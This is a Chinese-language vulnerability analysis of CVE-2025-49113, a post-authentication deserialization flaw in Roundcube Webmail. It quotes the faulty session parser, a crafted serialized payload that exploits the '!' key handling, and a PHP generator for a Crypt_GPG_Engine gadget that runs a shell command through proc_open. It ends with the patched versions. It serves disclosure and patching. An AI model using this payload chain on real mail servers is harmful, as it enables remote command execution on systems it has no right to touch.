CVE-2025-49113 Roundcube Webmail反序列化漏洞分析

CVE-2025-49113 Roundcube Webmail反序列化漏洞分析

台下言书 2025-06-05 11:18

简介

Roundcube Webmail
 是一款开源、基于 Web 的电子邮件客户端,旨在为用户提供简洁而强大的邮件管理工具。

影响版本

  • Roundcube Webmail < 1.5.10

  • 1.6.0 ≤ Roundcube Webmail < 1.6.11

漏洞分析

1.反序列化入口点

通过查看官方github
仓库的commit
,发现核心补丁是对请求参数 _form
 进行了严格的符号校验,禁止其包含特定特殊字符。

定位到关键入口文件 upload.php
,其功能是处理文件上传。

除了上传文件过程中引用到_form
 参数值,只有$rcmail->session->append($type . ‘.files’, $id, $attachment);
这条语句调用了由_form
参数生成的$type
,跟进去分析append
方法的细节。

在rcube_session.php
文件中,可以看到php
常用的反序列化函数unserialize
。结合漏洞披露信息,可以猜测漏洞的关键触发点就在该文件中。

rcube_session
类通过session_set_save_handler
函数将自定义的函数注册到handler
中,实现了session
的自定义序列化与反序列化过程。

public staticfunction unserialize($str){    $str    = (string) $str;    $endptr = strlen($str);    $p      = 0;    $serialized = '';    $items      = 0;    $level      = 0;    while ($p < $endptr) {        $q = $p;        while ($str[$q] != '|')            if (++$q >= $endptr)                break2;        if ($str[$p] == '!') {            $p++;            $has_value = false;        }        else {            $has_value = true;        }        $name = substr($str, $p, $q - $p);        $q++;                $serialized .= 's:' . strlen($name) . ':"' . $name . '";';        if ($has_value) {            for (;;) {                $p = $q;                switch (strtolower($str[$q])) {                case'n': // null                case'b': // boolean                case'i': // integer                case'd': // decimal                    do $q++;                    while (($q < $endptr) && ($str[$q] != ';'));                    $q++;                    $serialized .= substr($str, $p, $q - $p);                    if ($level == 0) {                        break2;                    }                    break;                case'r': // reference                    $q+= 2;                    for ($id = ''; ($q < $endptr) && ($str[$q] != ';'); $q++) {                        $id .= $str[$q];                    }                    $q++;                    // increment pointer because of outer array                    $serialized .= 'R:' . ($id + 1) . ';';                    if ($level == 0) {                        break2;                    }                    break;                case's': // string                    $q+=2;                    for ($length=''; ($q < $endptr) && ($str[$q] != ':'); $q++) {                        $length .= $str[$q];                    }                    $q+=2;                    $q+= (int)$length + 2;                    $serialized .= substr($str, $p, $q - $p);                    if ($level == 0) {                        break2;                    }                    break;                case'a': // array                case'o': // object                    do $q++;                    while ($q < $endptr && $str[$q] != '{');                    $q++;                    $level++;                    $serialized .= substr($str, $p, $q - $p);                    break;                case'}': // end of array|object                    $q++;                    $serialized .= substr($str, $p, $q - $p);                    if (--$level == 0) {                        break2;                    }                    break;                default:                    returnfalse;                }            }        }        else {            $serialized .= 'N;';            $q += 2;        }        $items++;        $p = $q;    }    return unserialize('a:' . $items . ':{' . $serialized . '}');}

该自定义的反序列化函数unserialize
函数中有一个逻辑错误。

正常的序列化数据如下,其中,可控的点为identity
是由_form
参数生成的,2.png
是文件名。

identity|a:1:{s:5:"files";a:1:{s:20:"11749052287082347400";a:6:{s:4:"path";s:55:"/tmp/roundcube-temp/RCMTEMPattmnt68406b7fc8ff4551457662";s:4:"size";i:228;s:4:"name";s:5:"2.png";s:8:"mimetype";s:9:"image/png";s:5:"group";s:8:"identity";s:2:"id";s:20:"11749052287082347400";}}}

自定义函数在遇到|
后,会跳出while
循环,将其当作键名。随后判断键名是否以!
开头,如果以此开头,那就直接跳过if
语句的第一个分支,直接追加N;
,进入下一个解析环节,寻找下一个|
出现的位置作为解析的起始点,这就导致容易错位解析,从而控制反序列化流程。 恶意的序列化数据如下,_form
构造!identity
值,文件名则取2|s:2:”12
,就能控制反序列化流程。

!identity|a:1:{s:5:"files";a:1:{s:20:"11749052882029285800";a:6:{s:4:"path";s:55:"/tmp/roundcube-temp/RCMTEMPattmnt68406dd247794593223028";s:4:"size";i:228;s:4:"name";s:10:"2|s:2:"12"";s:8:"mimetype";s:9:"image/png";s:5:"group";s:9:"!identity";s:2:"id";s:20:"11749052882029285800";}}}

2. 构造POP链

在源码中搜索 __destruct
,可以看到 Crypt_GPG_Engine
 类的 __destruct
 方法会调用 _closeIdleAgents
,而 _closeIdleAgents
 会调用 proc_open
 执行命令。

构造序列化数据的 PHP 代码如下:

<?phpclass Crypt_GPG_Engine{    const CHUNK_SIZE = 65536;    const FD_INPUT = 0;    const FD_OUTPUT = 1;    const FD_ERROR = 2;    const FD_STATUS = 3;    const FD_COMMAND = 4;    const FD_MESSAGE = 5;    const MIN_VERSION = '1.0.2';    public $_strict = false;    public $_debug = false;    public $_binary = '';    public $_agent = '';    public $_gpgconf = "id > pwned;";    public $_homedir = '';    public $_publicKeyring = '';    public $_privateKeyring = '';    public $_trustDb = '';    public $_pipes = array();    public $_agentPipes = array();    public $_openPipes = array();    public $_process = null;    public $_agentProcess = null;    public $_agentInfo = null;    public $_isDarwin = false;    public $_digest_algo = null;    public $_cipher_algo = null;    public $_compress_algo = null;    public $_options = array();    public $_commandBuffer = '';    public $_processHandler = null;    public $_statusHandlers = array();    public $_errorHandlers = array();    public $_input = null;    public $_message = null;    public $_output = '';    public $_operation;    public $_arguments = array();    public $_version = '';}$test = new Crypt_GPG_Engine();echo serialize($test);

3. 鉴权逻辑分析

回头分析鉴权相关内容,网站根目录下 index.php
 文件:

可以看到从前端获取_task
,_action
参数,并对其做判断。如果_task
为login
或logout
,_action
为login
或oauth
,则不做身份校验;其他的_task
一律要对$_SESSION
里的user_id
做判断。该漏洞的触发点在settings
的_task
,因此需要认证通过的用户。

修复方案

官方已发布修复方案,受影响的用户建议及时更新至对应安全版本:
Roundcube 1.5.x:

https://github.com/roundcube/roundcubemail/releases/tag/1.5.10

  • Roundcube 1.6.x:

https://github.com/roundcube/roundcubemail/releases/tag/1.6.11

⚠️ 此漏洞需要用户手动更新,官方不会强制推送更新。